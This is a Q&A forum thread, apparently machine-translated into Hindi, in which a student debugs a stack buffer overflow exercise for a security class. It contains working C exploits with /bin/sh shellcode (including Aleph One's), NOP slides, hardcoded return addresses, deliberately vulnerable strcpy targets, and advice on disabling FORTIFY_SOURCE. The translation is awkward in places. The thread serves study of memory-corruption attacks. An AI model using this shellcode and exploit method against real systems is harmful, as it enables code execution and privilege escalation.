बफर ओवरफ्लो

Question

फिर भी, मैं इस आवेदन में भेद्यता का उपयोग करने कोशिश कर रहा हूँ एक सुरक्षा वर्ग के लिए इस बफर ओवरफ्लो सामान सीखने:

//exploit.c 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

const char code[] = 
"\x31\xc0" 
"\x50" 
"\x68""//sh" 
"\x68""/bin" 
"\x89\xe3" 
"\x50" 
"\x53" 
"\x89\xe1" 
"\x99" 
"\xb0\x0b" 
"\xcd\x80" 
; 


int main(int argc, char* argv[]) 
{ 
    char buffer[517]; 
    char large_string[512]; 
    FILE *badfile; 
     badfile = fopen("./badfile", "w"); 

    //NOPslide 
    memset(&buffer,0x90,517); 

    //BEGIN FILL BUFFER 
     //from stack_smashing.pdf 
    long *long_ptr = (long *) large_string; 

    int i; 
    for (i = 0; i < 128; i++) 
     *(long_ptr + i) = (int) buffer; 

    for (i = 100; i < strlen(code)+100; i++) 
     large_string[i] = code[i]; 

    strcpy(buffer,large_string); 
    //END FILL BUFFER 

    //save buffer to badfile 
    fwrite(buffer,517,1,badfile); 
    fclose(badfile); 

    return 0; 
} 

के लिए:

//vuln.c 
#include <stdio.h> 

int bof(char *str) 
{ 
    char buffer[12]; 

    //BO Vulnerability 
    strcpy(buffer,str); 

    return 1; 
} 

int main(int argc, char* argv[]) 
{ 
    char str[517]; 

    FILE *badfile; 
     badfile = fopen("badfile","r"); 

    fread(str, sizeof(char),517, badfile); 
    bof(str); 

    printf("Returned Properly\n"); 
    return 1; 
} 

इस आवेदन का फायदा उठाने का उपयोग करना कुछ कारण, जब मैं शोषण चलाकर बैडफाइल बना देता हूं, तो इससे कुछ भी धक्का नहीं पड़ता है। या तो बफर खाली है या यह ठीक से लिख नहीं रहा है। मुझे मेरी त्रुटि नहीं मिल रही है, और अथक रूप से Google खोज के बाद, मुझे पर्याप्त उत्तर नहीं मिला। भरने वाले फिल बफर कोड की मेरी समझ से, यह मेरे बफर के पते के साथ long_string भरना चाहिए, फिर मेरे शेलकोड को long_string (एक एनओओपी स्लाइड के बाद) की शुरुआत में डालें और फिर लंबे_स्ट्रिंग को बफर में कॉपी करें। मुझे वास्तव में या fwrite के साथ कोई समस्या नहीं दिख रही है। सुझाव?

Answer 1

ठीक है, आपको यह समझने की जरूरत है कि स्टैक को वास्तव में क्या खत्म कर रहा है। यह मूल रूप से बहुत सारे मूल्यों को तोड़ देता है और एक विशेष पते को ओवरराइट करता है जो मूल रूप से स्टैक ($ebp + 4) पर रिटर्न पॉइंटर का पता होता है। आप निश्चित रूप से स्टैक को तोड़ने की कोशिश कर रहे हैं लेकिन आपको अपने शेलकोड को इंगित करने वाले दूसरे पते के साथ ओवरराइड करने के लिए आपको कितना पता लगाने की आवश्यकता है, यह समझने के लिए आपको बहुत सी चीजें हैं।

http://www.phrack.com/issues.html?issue=49&id=14

वर्तमान में आप उन दो चीजों में से या तो के काम नहीं है।

आपको वास्तविक कमजोर कोड के असेंबली कोड के माध्यम से जाने के लिए जीडीबी या अन्य उपकरण का उपयोग करना चाहिए और वापसी पता देखें। उस पर आधारित, आप कमांड लाइन का उपयोग करके स्टैक को तोड़ने का प्रयास करते हैं।

फिर आप स्टैक को तोड़ने के बिना अपना शोषण कोड चलाते हैं। वास्तविक रिटर्न पता कैप्चर करने का प्रयास करें जिसे आपको उस स्थान पर इंगित करना चाहिए जहां आप अपना शेलकोड लगाते हैं।

आपको स्टैक को तोड़ने की अवधारणा को वास्तव में समझने के लिए फ़्रेम पर पढ़ने का पालन करना चाहिए। उम्मीद है की वो मदद करदे!

Answer 2

आपके कोड में एक बहुत ही महत्वपूर्ण चीज है जो आप गायब हैं। मैं आपको खुद को ढूंढने दूँगा लेकिन मैं शायद आपको एक बहुत ही सरल बफर ओवरफ्लो समस्या को देखकर आपकी मदद करूंगा जिसे मैंने कुछ समय पहले हल किया था।

भेद्यता के साथ लक्ष्य कोड पर विचार करें - आसान बफर ओवरफ़्लो।

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int foo(char *arg) 
{ 
    char buf[200]; 
    strcpy(buf, arg); 
} 

int main(int argc, char *argv[]) 
{ 
    if (argc != 2) 
    { 
     fprintf(stderr, "target1: argc != 2\n"); 
     exit(EXIT_FAILURE); 
    } 
    foo(argv[1]); 
    return 0; 
} 

के बाद किया जाता है शोषण कोड:

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <unistd.h> 
#include "shellcode.h" 

#define TARGET "/tmp/target1" 

int main(void) 
{ 
    char arg1[215] = ""; 
    memset(arg1,'\x90', 215); 
    memcpy(arg1,shellcode,45); 

    //0xbffffd78 
    //0xbffffcb8 

    arg1[212] = '\x88'; 
    arg1[213] = '\xfc'; 
    arg1[214] = '\xff'; 
    arg1[215] = '\xbf'; 
    char *args[] = { TARGET, arg1, NULL }; 
    char *env[] = { NULL }; 

    if (0 > execve(TARGET, args, env)) 
     fprintf(stderr, "execve failed.\n"); 

    return 0; 
} 

देखें मैं अपने लक्ष्य कैसे परिभाषित करने और इसका इस्तेमाल करते हैं।

इसके अलावा, मैंने पहले उस शेल कोड को देखा था।

/* 
* Aleph One shellcode. 
*/ 
static char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

अपने कोड के साथ यह जाँच करें और मुझे पता है कि अगर काम करता है: मैं निम्नलिखित (फ्रैक) में से एक का उपयोग।

भी:

strcpy(buffer,large_string); 

इस लेखन खराब व्यवहार का कोई फर्क नहीं पड़ता अगर आप stdin से large_string स्वीकार कर रहे हैं या नहीं।

Answer 3

strcpy(buffer,large_string); 

चीजें आप परीक्षण के दौरान पता करने के लिए की आवश्यकता होगी में से एक इस समारोह कॉल है।

FORTIFY_SOURCE memcpy और strcpy जैसे उच्च जोखिम कार्यों के "सुरक्षित" रूपों का उपयोग करता है। कंपाइलर सुरक्षित भिन्नता का उपयोग करता है जब यह गंतव्य बफर आकार को कम कर सकता है। यदि प्रतिलिपि गंतव्य बफर आकार से अधिक हो जाएगी, तो प्रोग्राम abort() पर कॉल करता है।

अपने परीक्षण के लिए FORTIFY_SOURCE को अक्षम करने के लिए, आपको प्रोग्राम को -U_FORTIFY_SOURCE या -D_FORTIFY_SOURCE=0 से संकलित करना चाहिए।